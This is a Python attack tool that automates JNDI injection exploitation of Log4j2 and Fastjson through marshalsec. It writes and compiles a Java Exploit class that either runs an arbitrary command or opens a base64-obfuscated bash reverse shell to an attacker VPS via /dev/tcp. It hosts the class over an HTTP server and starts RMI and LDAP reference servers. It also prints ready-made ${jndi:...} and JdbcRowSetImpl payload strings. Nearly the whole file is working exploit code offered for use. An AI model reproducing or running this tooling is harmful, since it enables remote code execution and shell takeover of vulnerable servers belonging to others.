#!python3
# -*- encoding: utf-8 -*-

'''
@File    :   jndi_marshalsec.py
@Time    :   2023/08/23 10:00:00
@Author  :   mingy
@Version :   1.0
@Desc    :   None
'''

import os
import time
import base64
import atexit
import subprocess

# 启动HttpServer
def runHttpServer():
    cmd = 'nohup python -m http.server 8000 &'
    # os.system(cmd)
    subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    print(">>> httpServer running: http://0.0.0.0:8000 <<<\n")


# 异常或退出后，停止HttpServer
@atexit.register
def stopHttpServer():
    cmd = "kill $(ps -elf|grep 'python -m http.server 8000'| grep -v grep | awk -F' ' '{print $4}')"
    # os.system(cmd)
    subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    print(">>> httpServer kill success <<<")


# 异常或退出后，停止RMIRefServer
@atexit.register
def stopRMIRefServer():
    cmd = "kill $(ps -elf|grep 'java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer' | grep -v grep | awk -F' ' '{print $4}')"
    # os.system(cmd)
    subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    print(">>> RMIRefServer kill success <<<")


# 生成反弹shell的Exploit.class字节码文件
def GenrateExploitShell(vps_ip, nc_port):
    bash_shell = f'bash -i >& /dev/tcp/{vps_ip}/{nc_port} 0>&1'
    bash_shell_b64 = base64.b64encode(bash_shell.encode('utf-8')).decode('utf-8')
    ExploitJava = f'''//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {{
    public Exploit(){{
        try{{
            Runtime.getRuntime().exec("/bin/bash -c {{echo,{bash_shell_b64}}}|{{base64,-d}}|{{bash,-i}}");
        }}catch(Exception e){{
            e.printStackTrace();
        }}
    }}
    public static void main(String[] argv){{
        Exploit e = new Exploit();
    }}
    }}'''

    with open('Exploit.java', 'w') as f:
        f.write(ExploitJava)
        print(">>> Exploit.java genrate success <<<")

    os.system('javac Exploit.java')
    time.sleep(3)


# 生成执行命令的Exploit.class字节码文件
def GenrateExploitCmd(cmd):
    ExploitJava = f'''//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {{
    public Exploit(){{
        try{{
            Runtime.getRuntime().exec("{cmd}");
        }}catch(Exception e){{
            e.printStackTrace();
        }}
    }}
    public static void main(String[] argv){{
        Exploit e = new Exploit();
    }}
}}'''

    with open('Exploit.java', 'w') as f:
        f.write(ExploitJava)
        print(">>> Exploit.java genrate success <<<")

    os.system('javac Exploit.java')
    time.sleep(3)

 
# 启动RMIRefServer服务
def RunRMIRefServer(vps_ip):
    print(f'[ Log4j2_Payload_RMI ] >> \033[1;33;40m${{jndi:rmi://{vps_ip}:9999/Exploit}}\033[0m')
    exp = f'''{{"a":{{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}},"b":{{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://{vps_ip}:9999/Exploit","autoCommit":true}}}}'''
    print(f'[Fastjson_Payload_RMI] >> {exp}\n')
    cmd = f'java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://{vps_ip}:8000/#Exploit" 9999 &'
    os.system(cmd)


# 启动LDAPRefServer服务
def RunLDAPRefServer(vps_ip):
    print(f'[ Log4j2_Payload_LDAP ] >> \033[1;33;40m${{jndi:ldap://{vps_ip}:9998/Exploit}}\033[0m')
    exp = f'''{{"a":{{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}},"b":{{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{vps_ip}:9998/Exploit","autoCommit":true}}}}'''
    print(f'[Fastjson_Payload_LDAP] >> {exp}\n')
    cmd = f'java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://{vps_ip}:8000/#Exploit" 9998'
    os.system(cmd)


def main(): 
    print(">>> Set vps_ip <<<")
    vps_ip = input(">>> ")
    print(">>> 请输入数字选择模式 <<<")
    print('''
        >>> [1] cmd
        >>> [2] shell
    ''')
    try:
        num = int(input(">>> "))
        if num not in range(1, 3):
            print(">>> 类型选择错误 <<<")
            exit()
    except Exception:
        print(">>> 请输入1-2的整数 <<<")
        exit()
    if num == 1:
        print(">>> 请输入要执行的命令 <<<")
        cmd = str(input(">>> "))
        GenrateExploitCmd(cmd)
    else:
        print(">>> Set nc_port <<<")
        nc_port = input(">>> ")
        GenrateExploitShell(vps_ip, nc_port)

    runHttpServer()
    RunRMIRefServer(vps_ip)
    RunLDAPRefServer(vps_ip)


if __name__ == '__main__':
    main()
